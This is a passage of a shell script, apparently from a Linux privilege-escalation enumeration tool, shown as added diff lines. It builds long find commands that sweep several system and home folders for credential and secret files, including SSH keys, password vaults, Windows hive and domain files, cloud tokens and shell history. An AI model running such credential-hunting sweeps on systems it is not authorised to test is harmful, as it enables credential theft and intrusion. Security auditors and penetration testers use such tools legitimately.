-o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CACHE=`eval_bckgrd "find ${ROOT_FOLDER}.cache -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CDROM=`eval_bckgrd "find ${ROOT_FOLDER}cdrom -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_ETC=`eval_bckgrd "find ${ROOT_FOLDER}etc -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \"*knockd*\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"exports\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \".roadtools_auth\" -o -name \"credentials.xml\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"ssh*config\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_LIB=`eval_bckgrd "find ${ROOT_FOLDER}lib -name \"*.socket\" -o -name \"*.timer\" -o -name \"log4j-core*.jar\" -o -name \"rocketchat.service\" -o -name \"*.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
